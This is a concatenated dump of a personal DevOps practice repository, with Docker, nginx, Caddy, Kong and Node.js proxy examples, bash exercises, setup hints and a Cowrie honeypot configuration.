14 | COPY --from=base /usr/src/app/node_modules node_modules
15 |
16 | COPY . .
17 |
18 | RUN bun --bun run build
19 |
20 | CMD bun --bun run start
21 |
22 | EXPOSE 3000
23 |
--------------------------------------------------------------------------------
/presentation/rate-limiter/nodejs/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "nodejs",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "express": "^4.19.2",
14 | "express-rate-limit": "^7.4.0"
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/caddy/metrics_monitor/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | servers {
4 | metrics
5 | }
6 | }
7 |
8 | :80, :443 {
9 |
10 | handle /metrics {
11 | metrics /metrics
12 | }
13 |
14 | handle /api/* {
15 | reverse_proxy backend:80
16 | }
17 |
18 | # Default response for all other requests
19 | handle {
20 | respond "Welcome to yourdomain.com" 200
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/bun/express/app/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "app",
3 | "version": "0.0.0",
4 | "private": true,
5 | "scripts": {
6 | "start": "bun --watch ./bin/www",
7 | "prod": "bun ./bin/www"
8 | },
9 | "dependencies": {
10 | "cookie-parser": "~1.4.4",
11 | "debug": "~2.6.9",
12 | "ejs": "~2.6.1",
13 | "express": "~4.16.1",
14 | "http-errors": "~1.6.3",
15 | "morgan": "~1.9.1"
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/caddy/rate_limiter/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://github.com/mholt/caddy-ratelimit
4 | # https://caddyserver.com/docs/modules/http.handlers.rate_limit
5 | # https://thedevelopercafe.com/articles/rate-limiting-in-caddy-with-non-standard-modules-7cdedba46785
6 |
7 | mkdir config data
8 |
9 | docker build -t sinawic/caddy:2.8.4-ratelimit .
10 |
11 | curl -i http://localhost/api/
12 |
--------------------------------------------------------------------------------
/geoip/docker-compose.yml:
--------------------------------------------------------------------------------
1 | # https://github.com/observabilitystack/geoip-api/tree/master/examples/nginx-geoip
2 | # https://dev.maxmind.com/geoip/geolite2-free-geolocation-data
3 | # curl -sI -H "X-Geoip-Address: 185.123.1.2" "http://localhost:8081/"
4 | # curl localhost:8081/185.123.1.2
5 |
6 | version: '3'
7 | services:
8 | geoip:
9 | image: ghcr.io/observabilitystack/geoip-api
10 | ports:
11 | - 8081:8080
12 |
--------------------------------------------------------------------------------
/nginx/ip-restriction/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 | upstream app{
3 | server 192.168.1.11:6969;
4 | }
5 |
6 | server{
7 | listen 9999;
8 | location / {
9 | proxy_pass http://app/;
10 |
11 | include ip-restriction.conf;
12 | }
13 |
14 |
15 | location /app {
16 | proxy_pass http://app/;
17 | }
18 |
19 | # deny 192.168.1.11/24;
20 | # allow all;
21 | }
22 | }
23 |
24 | events{}
25 |
--------------------------------------------------------------------------------
/postgres/pgbackweb/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | CREATE DATABASE sinawic;
3 |
4 | CREATE TABLE users (
5 | id SERIAL PRIMARY KEY,
6 | name VARCHAR(50) NOT NULL,
7 | email VARCHAR(50) NOT NULL
8 | );
9 |
10 | INSERT INTO users (name, email)
11 | VALUES ('Jane Doe', 'jane.doe@example.com'),
12 | ('Alice Smith', 'alice.smith@example.com'),
13 | ('Bob Johnson', 'bob.johnson@example.com');
14 |
15 | DROP DATABASE sinawic;
16 |
--------------------------------------------------------------------------------
/nfs-docker/docker-compose.yml:
--------------------------------------------------------------------------------
1 | # https://hub.docker.com/r/itsthenetwork/nfs-server-alpine/
2 |
3 | version: '3'
4 | services:
5 | nfs:
6 | image: itsthenetwork/nfs-server-alpine:latest
7 | privileged: true
8 | volumes:
9 | - ./shared:/shared
10 | environment:
11 | - SHARED_DIRECTORY=/shared
12 | - READ_ONLY=true
13 | - SYNC=true
14 | - PERMITTED=10.11.12.*
15 | ports:
16 | - 2049:2049
--------------------------------------------------------------------------------
/nginx/apikey_auth/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | backend:
4 | image: ealen/echo-server:latest
5 | restart: always
6 | environment:
7 | - ENABLE__ENVIRONMENT=false
8 | ports:
9 | - 8000:80
10 |
11 | nginx:
12 | image: nginx
13 | volumes:
14 | - ./nginx.conf:/etc/nginx/nginx.conf
15 | - ./apikeys.conf:/etc/nginx/apikeys.conf
16 | ports:
17 | - 9999:9999
18 |
--------------------------------------------------------------------------------
/qdrant/standalone/hint.sh:
--------------------------------------------------------------------------------
1 |
2 |
3 | # https://qdrant.tech/documentation/quickstart/
4 |
5 | mkdir data certs
6 |
7 | cd certs
8 | DOMAIN=pc.com
9 | openssl genpkey -algorithm RSA -out $DOMAIN.key
10 | openssl req -new -key $DOMAIN.key -out $DOMAIN.csr -subj "/CN=$DOMAIN"
11 | openssl req -x509 -in $DOMAIN.csr -key $DOMAIN.key -out $DOMAIN.crt -days 3650
12 |
13 |
14 |
15 | mkcert -install
16 | mkcert pc.com localhost 127.0.0.1 ::1
17 |
--------------------------------------------------------------------------------
/nodejs/node-proxy/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "node-proxy",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "node index",
8 | "test": "echo \"Error: no test specified\" && exit 1"
9 | },
10 | "keywords": [],
11 | "author": "",
12 | "license": "ISC",
13 | "dependencies": {
14 | "express": "^4.17.1",
15 | "http-proxy-middleware": "^1.1.0"
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/dockerize/react/src/index.css:
--------------------------------------------------------------------------------
1 | body {
2 | margin: 0;
3 | font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
4 | 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
5 | sans-serif;
6 | -webkit-font-smoothing: antialiased;
7 | -moz-osx-font-smoothing: grayscale;
8 | }
9 |
10 | code {
11 | font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
12 | monospace;
13 | }
14 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/tsconfig.spec.json:
--------------------------------------------------------------------------------
1 | /* To learn more about this file see: https://angular.io/config/tsconfig. */
2 | {
3 | "extends": "./tsconfig.json",
4 | "compilerOptions": {
5 | "outDir": "./out-tsc/spec",
6 | "types": [
7 | "jasmine"
8 | ]
9 | },
10 | "files": [
11 | "src/test.ts",
12 | "src/polyfills.ts"
13 | ],
14 | "include": [
15 | "src/**/*.spec.ts",
16 | "src/**/*.d.ts"
17 | ]
18 | }
19 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/main.ts:
--------------------------------------------------------------------------------
1 | import { enableProdMode } from '@angular/core';
2 | import { platformBrowserDynamic } from '@angular/platform-browser-dynamic';
3 |
4 | import { AppModule } from './app/app.module';
5 | import { environment } from './environments/environment';
6 |
7 | if (environment.production) {
8 | enableProdMode();
9 | }
10 |
11 | platformBrowserDynamic().bootstrapModule(AppModule)
12 | .catch(err => console.error(err));
13 |
--------------------------------------------------------------------------------
/caddy/forward_auth/node-express/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | const port = 3000
4 |
5 | app.get('/', (req, res) => {
6 | // custom logic goes here
7 | console.log(req.headers)
8 | if (req.headers['authorization'])
9 | res.status(200).send('YAY')
10 | else
11 | res.status(401).send('ERROR')
12 | })
13 |
14 | app.listen(port, () => {
15 | console.log(`Example app listening on port ${port}`)
16 | })
17 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/src/index.css:
--------------------------------------------------------------------------------
1 | body {
2 | margin: 0;
3 | font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygen',
4 | 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue',
5 | sans-serif;
6 | -webkit-font-smoothing: antialiased;
7 | -moz-osx-font-smoothing: grayscale;
8 | }
9 |
10 | code {
11 | font-family: source-code-pro, Menlo, Monaco, Consolas, 'Courier New',
12 | monospace;
13 | }
14 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker-2/app/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const { createProxyMiddleware } = require('http-proxy-middleware');
3 |
4 | const app = express();
5 |
6 | const preFetch = (req, res, next) => {
7 | console.log('request to instance 2')
8 | next()
9 | }
10 |
11 | app.use('/', preFetch, createProxyMiddleware({
12 | target: 'https://random-data-api.com/api/users/random_user?size=1', changeOrigin: true
13 | }));
14 | app.listen(3000);
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker/app/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express');
2 | const { createProxyMiddleware } = require('http-proxy-middleware');
3 |
4 | const app = express();
5 |
6 | const preFetch = (req, res, next) => {
7 | console.log('request to instance 1')
8 | next()
9 | }
10 |
11 | app.use('/', preFetch, createProxyMiddleware({
12 | target: 'https://random-data-api.com/api/users/random_user?size=1', changeOrigin: true
13 | }));
14 | app.listen(3000);
--------------------------------------------------------------------------------
/nodejs/node-proxy-load-balancer/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "node-proxy",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "nodemon index",
8 | "test": "echo \"Error: no test specified\" && exit 1"
9 | },
10 | "keywords": [],
11 | "author": "",
12 | "license": "ISC",
13 | "dependencies": {
14 | "axios": "^0.26.0",
15 | "express": "^4.17.1",
16 | "nodemon": "2.0.15"
17 | }
18 | }
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker/Readme.md:
--------------------------------------------------------------------------------
1 | ## dockerizing node proxy app
2 |
3 | after running `docker build -t node-proxy:v1 .` in the `./app` directory
4 |
5 | in the `node-proxy-docker` root directory hit `docker-compose up` command
6 |
7 | or other way just hit the `docker run --name node-proxy-app -p 3000:3000 node-proxy:v1` command
8 |
9 | now you have your node app running in a docker container and you can access it by going to `http://localhost:3000`
10 |
--------------------------------------------------------------------------------
/redis/redis-pub-sub-stream/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "redis-pubsub",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "pub.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "@tinyhttp/app": "^2.0.25",
14 | "ioredis": "^5.2.4",
15 | "milliparsec": "^2.2.2"
16 | },
17 | "type": "module"
18 | }
19 |
--------------------------------------------------------------------------------
/nginx/nginx-proxy/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 | upstream app{
3 | server 172.22.91.240:6969;
4 | }
5 |
6 | server{
7 | listen 9999;
8 | location / {
9 | if ($http_origin ~* "^https?://(info.cern.ch|www.columbia.edu)$") {
10 | add_header Access-Control-Allow-Origin "$http_origin";
11 | }
12 | # add_header Access-Control-Allow-Origin "http://info.cern.ch";
13 | proxy_pass http://app/;
14 | }
15 | }
16 | }
17 |
18 | events{}
19 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker-2/Readme.md:
--------------------------------------------------------------------------------
1 | ## dockerizing node proxy app
2 |
3 | after running `docker build -t node-proxy:v1 .` in the `./app` directory
4 |
5 | in the `node-proxy-docker` root directory hit `docker-compose up` command
6 |
7 | or other way just hit the `docker run --name node-proxy-app -p 3000:3000 node-proxy:v1` command
8 |
9 | now you have your node app running in a docker container and you can access it by going to `http://localhost:3000`
10 |
--------------------------------------------------------------------------------
/nodejs/node-stream/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | Document
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
--------------------------------------------------------------------------------
/caddy/replace_response/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | order replace after encode
4 | }
5 |
6 | :80, :443 {
7 |
8 | # Handle requests to /api/*
9 | handle /api/* {
10 | replace {
11 | pc.com caddy.com
12 | curl lruc
13 | }
14 | reverse_proxy backend:80
15 | }
16 |
17 | # Default response for all other requests
18 | handle {
19 | respond "Welcome to yourdomain.com" 200
20 | }
21 |
22 | }
23 |
24 |
--------------------------------------------------------------------------------
/echo_server/node/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "sinawic/echo_server",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "node index.js",
8 | "test": "echo \"Error: no test specified\" && exit 1"
9 | },
10 | "keywords": [],
11 | "author": "sinawic",
12 | "license": "ISC",
13 | "dependencies": {
14 | "body-parser": "^1.20.3",
15 | "dotenv": "^16.5.0",
16 | "express": "^4.18.2"
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker-2/app/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "node-proxy",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "nodemon index",
8 | "test": "echo \"Error: no test specified\" && exit 1"
9 | },
10 | "keywords": [],
11 | "author": "",
12 | "license": "ISC",
13 | "dependencies": {
14 | "express": "^4.17.1",
15 | "http-proxy-middleware": "^1.1.0",
16 | "nodemon": "2.0.15"
17 | }
18 | }
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker/app/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "node-proxy",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "start": "nodemon index",
8 | "test": "echo \"Error: no test specified\" && exit 1"
9 | },
10 | "keywords": [],
11 | "author": "",
12 | "license": "ISC",
13 | "dependencies": {
14 | "express": "^4.17.1",
15 | "http-proxy-middleware": "^1.1.0",
16 | "nodemon": "2.0.15"
17 | }
18 | }
--------------------------------------------------------------------------------
/linux/c-nodejs-communication/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include "json.hpp"
4 |
5 | using json = nlohmann::json;
6 | using namespace std;
7 |
8 | int main(){
9 | json obj;
10 | obj["name"] = "sinawic";
11 | obj["age"] = "24";
12 | obj["role"] = "DevOps engineer";
13 |
14 | ofstream file("output.json");
15 | file< {
7 | redis.subscribe("channel_name", (err, count) => {
8 | if (err) console.error(err.message);
9 | console.log(`Subscribed to ${count} channels.`);
10 | });
11 |
12 | redis.on("message", (channel, message) => {
13 | console.log(`Received message from ${channel}:`, JSON.parse(message));
14 | });
15 | };
16 |
17 | main();
18 |
--------------------------------------------------------------------------------
/linux/bash/condition.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | a=10
4 | b=20
5 |
6 | if [ $a == $b ]
7 | then
8 | echo "a is eq to b"
9 | fi
10 |
11 | if [ $a != $b ]
12 | then
13 | echo "a is not eq to b"
14 | fi
15 |
16 |
17 | if [ $a == $b ]
18 | then
19 | echo "a is eq to b"
20 | else
21 | echo "a is not eq to b"
22 | fi
23 |
24 |
25 | if [ $a -gt $b ]
26 | then
27 | echo "a is gt b"
28 | elif [ $a == $b ]
29 | then
30 | echo "a is eq to b"
31 | else
32 | echo "a is lt b"
33 | fi
34 |
--------------------------------------------------------------------------------
/dockerize/django/app/example/wsgi.py:
--------------------------------------------------------------------------------
1 | """
2 | WSGI config for example project.
3 |
4 | It exposes the WSGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.wsgi import get_wsgi_application
13 |
14 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "example.settings")
15 |
16 | application = get_wsgi_application()
17 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/src/App.tsx:
--------------------------------------------------------------------------------
1 | import React from 'react';
2 | import logo from './logo.svg';
3 | import './App.css';
4 |
5 | function App() {
6 | return (
7 |
15 | );
16 | }
17 |
18 | export default App;
19 |
--------------------------------------------------------------------------------
/nginx/php-wyveo/html/conn.php:
--------------------------------------------------------------------------------
1 | set_charset('utf8');
12 | // Check connection
13 | if ($conn->connect_error) {
14 | die("Connection failed: " . $conn->connect_error);
15 | }
16 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 | services:
3 | vscode:
4 | image: ruanbekker/vscode:python-3.7
5 | container_name: vscode
6 | ports:
7 | - 8443:8443
8 | - 8888:8888
9 | volumes:
10 | - ./data:/data
11 | - ./code:/code
12 | restart: always
13 |
14 | awesome-react:
15 | image: awesome-react
16 | container_name: react
17 | ports:
18 | - 3000:3000
19 | volumes:
20 | - ./code:/app
21 | - /app/node_modules
22 |
--------------------------------------------------------------------------------
/dockerize/angular/angular/src/app/app.module.ts:
--------------------------------------------------------------------------------
1 | import { NgModule } from '@angular/core';
2 | import { BrowserModule } from '@angular/platform-browser';
3 |
4 | import { AppRoutingModule } from './app-routing.module';
5 | import { AppComponent } from './app.component';
6 |
7 | @NgModule({
8 | declarations: [
9 | AppComponent
10 | ],
11 | imports: [
12 | BrowserModule,
13 | AppRoutingModule
14 | ],
15 | providers: [],
16 | bootstrap: [AppComponent]
17 | })
18 | export class AppModule { }
19 |
--------------------------------------------------------------------------------
/nginx/workers/nginx.conf:
--------------------------------------------------------------------------------
1 | # http://nginx.org/en/docs/ngx_core_module.html#worker_aio_requests
2 |
3 | worker_processes 4;
4 | worker_rlimit_nofile 1024;
5 | http{
6 |
7 | server {
8 | listen 9999;
9 | client_max_body_size 64M;
10 |
11 | location / {
12 | root /var/www/front;
13 | add_header Access-Control-Allow-Origin *;
14 | try_files $uri $uri/ /index.html;
15 | index index.html index.htm;
16 | }
17 | }
18 |
19 | }
20 |
21 | events{
22 | worker_connections 512;
23 | }
--------------------------------------------------------------------------------
/caddy/metrics_monitor/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # https://caddyserver.com/docs/caddyfile-tutorial
3 | # https://caddyserver.com/docs/caddyfile/directives/metrics
4 | # https://grafana.com/docs/grafana-cloud/monitor-infrastructure/integrations/integration-reference/integration-caddy/
5 | # https://caddyserver.com/docs/metrics
6 | # https://grafana.com/grafana/dashboards/20802-caddy-monitoring/
7 |
8 | mkdir config data
9 |
10 | mkdir -p volumes/promconfig volumes/promdata volumes/grafanadata
11 | sudo chmod -R 777 volumes
12 |
13 |
--------------------------------------------------------------------------------
/nginx/basic-auth/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 |
3 | server{
4 | listen 9999;
5 | location /public {
6 | proxy_pass http://echo_server/;
7 | }
8 | location /private {
9 | satisfy all; # all | any
10 |
11 | allow 192.168.43.0/24;
12 | deny all;
13 |
14 | auth_basic "closed site";
15 | auth_basic_user_file /htpasswd;
16 | proxy_pass http://echo_server/;
17 | }
18 | }
19 | }
20 |
21 | events {}
--------------------------------------------------------------------------------
/nodejs/node-proxy/Readme.md:
--------------------------------------------------------------------------------
1 | # NODE PROXY SERVER TO AN ECHO SERVER WITH CUSTOM LOGIC
2 |
3 | after hitting `docker-compose up` command in the root directory
4 |
5 | which will create the echo server
6 |
7 | go ahead and reach `http://localhost:6969`
8 |
9 |
10 | then running `npm i`
11 |
12 | then `npm start`
13 |
14 |
15 | you can access the `http://localhost:3000`
16 |
17 | which is a proxy server to the exaxt same
18 |
19 | echo server that is running in the port 6969
20 |
--------------------------------------------------------------------------------
/dockerize/react/src/reportWebVitals.ts:
--------------------------------------------------------------------------------
1 | import { ReportHandler } from 'web-vitals';
2 |
3 | const reportWebVitals = (onPerfEntry?: ReportHandler) => {
4 | if (onPerfEntry && onPerfEntry instanceof Function) {
5 | import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => {
6 | getCLS(onPerfEntry);
7 | getFID(onPerfEntry);
8 | getFCP(onPerfEntry);
9 | getLCP(onPerfEntry);
10 | getTTFB(onPerfEntry);
11 | });
12 | }
13 | };
14 |
15 | export default reportWebVitals;
16 |
--------------------------------------------------------------------------------
/nginx/static-server/nginx.conf:
--------------------------------------------------------------------------------
1 | http{
2 |
3 | server {
4 | listen 9999;
5 | client_max_body_size 64M;
6 |
7 | location / {
8 | root /var/www/front;
9 | add_header Access-Control-Allow-Origin *;
10 | try_files $uri $uri/ /index.html;
11 | index index.html index.htm;
12 | }
13 |
14 | location /files {
15 | alias /var/www/files;
16 | autoindex on;
17 | autoindex_exact_size off;
18 | autoindex_localtime on;
19 | }
20 | }
21 |
22 | }
23 |
24 | events{}
--------------------------------------------------------------------------------
/redis/redis-pub-sub-stream/pub-sub/pub.js:
--------------------------------------------------------------------------------
1 | import { App } from "@tinyhttp/app";
2 | import { json } from "milliparsec";
3 | import Redis from "ioredis";
4 |
5 | const app = new App();
6 | const redis = new Redis();
7 |
8 | app.use(json());
9 |
10 | app.post("/", (req, res) => {
11 | console.log(`Sending message:`, req.body)
12 | redis.publish("channel_name", JSON.stringify({ ...req.body }));
13 | return res.sendStatus(200);
14 | });
15 |
16 | app.listen(3000, () => console.log('web server is listening on port 3000'));
17 |
--------------------------------------------------------------------------------
/caddy/rate_limiter/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 |
7 | rate_limit {
8 | zone dynamic_zone {
9 | key {http.request.remote_ip}
10 | events 2
11 | window 5s
12 | }
13 | }
14 |
15 | # Handle requests to /api/*
16 | handle /api/* {
17 |
18 | reverse_proxy backend:80
19 | }
20 |
21 | # Default response for all other requests
22 | handle {
23 | respond "Welcome to yourdomain.com" 200
24 | }
25 | }
26 |
--------------------------------------------------------------------------------
/echo_server/node/Dockerfile:
--------------------------------------------------------------------------------
1 | # Use an official Node.js runtime as the base image
2 | FROM node:20.12.0-alpine
3 |
4 | # Set the working directory inside the container
5 | WORKDIR /app
6 |
7 | # Copy package.json and package-lock.json to the working directory
8 | COPY package*.json ./
9 |
10 | # Install dependencies
11 | RUN npm install
12 |
13 | # Copy the rest of the application code
14 | COPY . .
15 |
16 | # Expose the port the app will run on
17 | EXPOSE 80
18 |
19 | # Command to run the application
20 | CMD ["npm", "start"]
21 |
--------------------------------------------------------------------------------
/echo_server/node/Dockerfile-debian:
--------------------------------------------------------------------------------
1 | # Use an official Node.js runtime as the base image
2 | FROM node:20.12
3 |
4 | # Set the working directory inside the container
5 | WORKDIR /app
6 |
7 | # Copy package.json and package-lock.json to the working directory
8 | COPY package*.json ./
9 |
10 | # Install dependencies
11 | RUN npm install
12 |
13 | # Copy the rest of the application code
14 | COPY . .
15 |
16 | # Expose the port the app will run on
17 | EXPOSE 80
18 |
19 | # Command to run the application
20 | CMD ["npm", "start"]
21 |
--------------------------------------------------------------------------------
/linux/bash/file-op.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | f=rel-op.shh
4 |
5 | if [ -f $f ]
6 | then
7 | echo "$f is a file"
8 | fi
9 |
10 | if [ -d $f ]
11 | then
12 | echo "$f is a dir"
13 | fi
14 |
15 | if [ -r $f ]
16 | then
17 | echo "$f is readable"
18 | fi
19 |
20 | if [ -w $f ]
21 | then
22 | echo "$f is writable"
23 | fi
24 |
25 | if [ -x $f ]
26 | then
27 | echo "$f is executable"
28 | fi
29 |
30 | if [ -s $f ]
31 | then
32 | echo "$f size is gt 0"
33 | fi
34 |
35 | if [ -e $f ]
36 | then
37 | echo "$f exists"
38 | fi
39 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker-2/app/Readme.md:
--------------------------------------------------------------------------------
1 | # NODE PROXY SERVER TO AN ECHO SERVER WITH CUSTOM LOGIC
2 |
3 | after hitting `docker-compose up` command in the root directory
4 |
5 | which will create the echo server
6 |
7 | go ahead and reach `http://localhost:6969`
8 |
9 |
10 | then running `npm i`
11 |
12 | then `npm start`
13 |
14 |
15 | you can access the `http://localhost:3000`
16 |
17 | which is a proxy server to the exaxt same
18 |
19 | echo server that is running in the port 6969
20 |
--------------------------------------------------------------------------------
/nodejs/node-proxy-docker/app/Readme.md:
--------------------------------------------------------------------------------
1 | # NODE PROXY SERVER TO AN ECHO SERVER WITH CUSTOM LOGIC
2 |
3 | after hitting `docker-compose up` command in the root directory
4 |
5 | which will create the echo server
6 |
7 | go ahead and reach `http://localhost:6969`
8 |
9 |
10 | then running `npm i`
11 |
12 | then `npm start`
13 |
14 |
15 | you can access the `http://localhost:3000`
16 |
17 | which is a proxy server to the exaxt same
18 |
19 | echo server that is running in the port 6969
20 |
--------------------------------------------------------------------------------
/caddy/request_id/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | order request_id before header
4 | }
5 |
6 | :80, :443 {
7 |
8 | request_id {
9 | header 64
10 | }
11 |
12 | handle /api/* {
13 | header x-request-id "{http.request_id.header}"
14 | reverse_proxy backend:80 {
15 | header_up x-request-id "{http.request_id.header}"
16 | }
17 | }
18 |
19 | # Default response for all other requests
20 | handle {
21 | respond "Welcome to yourdomain.com" 200
22 | }
23 | }
24 |
25 |
--------------------------------------------------------------------------------
/vscode/vscode-inbrowser-dev/code/src/reportWebVitals.ts:
--------------------------------------------------------------------------------
1 | import { ReportHandler } from 'web-vitals';
2 |
3 | const reportWebVitals = (onPerfEntry?: ReportHandler) => {
4 | if (onPerfEntry && onPerfEntry instanceof Function) {
5 | import('web-vitals').then(({ getCLS, getFID, getFCP, getLCP, getTTFB }) => {
6 | getCLS(onPerfEntry);
7 | getFID(onPerfEntry);
8 | getFCP(onPerfEntry);
9 | getLCP(onPerfEntry);
10 | getTTFB(onPerfEntry);
11 | });
12 | }
13 | };
14 |
15 | export default reportWebVitals;
16 |
--------------------------------------------------------------------------------
/clive/Readme.md:
--------------------------------------------------------------------------------
1 |
2 | https://github.com/koki-develop/clive
3 |
4 |
5 | wget 'https://github.com/koki-develop/clive/releases/download/v0.12.7/clive_Linux_x86_64.tar.gz'
6 | tar -zxvf clive_Linux_x86_64.tar.gz
7 | sudo cp ./clive /usr/local/bin/clive
8 |
9 |
10 | wget 'https://github.com/tsl0922/ttyd/releases/download/1.7.3/ttyd.x86_64'
11 | chmod +x ./ttyd.x86_64
12 | sudo cp ./ttyd.x86_64 /usr/local/bin/ttyd
13 | ttyd --version
14 |
15 | clive init -c clive.yml
16 | clive validate -c clive.yml
17 | clive start -c clive.yml
18 |
19 |
20 |
--------------------------------------------------------------------------------
/honeypot-docker/docker-compose.yml:
--------------------------------------------------------------------------------
1 | # https://github.com/cowrie/cowrie
2 |
3 | version: '3'
4 | services:
5 | cowrie:
6 | image: cowrie/cowrie
7 | volumes:
8 | - ./session-logs:/cowrie/cowrie-git/var/lib/cowrie/tty/
9 | - ./user-files:/cowrie/cowrie-git/var/lib/cowrie/downloads/
10 | - ./cowrie/cowrie.json:/cowrie/cowrie-git/var/log/cowrie/cowrie.json
11 | - ./cowrie/cowrie.log:/cowrie/cowrie-git/var/log/cowrie/cowrie.log
12 | - ./motd:/cowrie/cowrie-git/honeyfs/etc/motd
13 | ports:
14 | - 2222:2222
--------------------------------------------------------------------------------
/kong/config/kong-lb.yml:
--------------------------------------------------------------------------------
1 | _format_version: "1.1"
2 |
3 | services:
4 | - host: example_upstream
5 | name: example_service2
6 | # port: 80
7 | protocol: http
8 | routes:
9 | - name: test
10 | paths:
11 | - /test
12 | strip_path: true
13 |
14 | upstreams:
15 | - name: example_upstream
16 | targets:
17 | - target: 172.29.242.56:6969
18 | weight: 100
19 | - target: 172.29.242.56:7070
20 | weight: 100
21 |
22 | plugins:
23 | - name: rate-limiting
24 | config:
25 | minute: 50
26 | policy: local
27 |
--------------------------------------------------------------------------------
/samba-docker/hint.sh:
--------------------------------------------------------------------------------
1 |
2 | # required in windows to mount smb share
3 | sudo apt install cifs-utils
4 |
5 | # mount smb using cli
6 | sudo mount -t cifs -o username=alice //server_addr/AliceShare $PWD/mounted/
7 |
8 | # Use uid=x and gid=x to map the user/group on the client to the appropriate IDs on the server.
9 | # like if your local user and group id is 1000 (for most cases) do:
10 | sudo mount -t cifs -o username=alice,uid=1000,gid=1000 //server_addr/AliceShare $PWD/mounted/
11 |
12 | # unmount using cli
13 | sudo umount $PWD/mounted/
14 |
--------------------------------------------------------------------------------
/nginx/http-logs/node-express/index.js:
--------------------------------------------------------------------------------
1 | const express = require('express')
2 | const app = express()
3 | const port = 3000
4 |
5 | app.use(express.json())
6 |
7 | app.get('/', (req, res) => {
8 | console.log(req.body)
9 | console.log(req.headers)
10 | res.status(200).send('Hello World!')
11 | })
12 | app.post('/', (req, res) => {
13 | console.log(req.body)
14 | console.log(req.headers)
15 | res.status(200).send('Hello World!')
16 | })
17 |
18 | app.listen(port, () => {
19 | console.log(`Example app listening on port ${port}`)
20 | })
21 |
--------------------------------------------------------------------------------
/caddy/basic_auth/CaddyFile:
--------------------------------------------------------------------------------
1 | {
2 | auto_https off
3 | }
4 |
5 | :80, :443 {
6 |
7 | handle /api/* {
8 | reverse_proxy backend:80
9 | }
10 |
11 | basic_auth /api/bob/* {
12 | bob $2y$05$7sDGqNnVUISQeQd3kXlUe.VCbM4D8ncPXcjyx9bIRoKjpde/j8PoK
13 | }
14 |
15 | basic_auth /api/alice/* {
16 | alice $2y$05$xfiQVMxPgJX2HHolxi4t2.bwfX6j2bohRqZvOEif02g.rN4RwNu62
17 | }
18 |
19 | # Default response for all other requests
20 | handle {
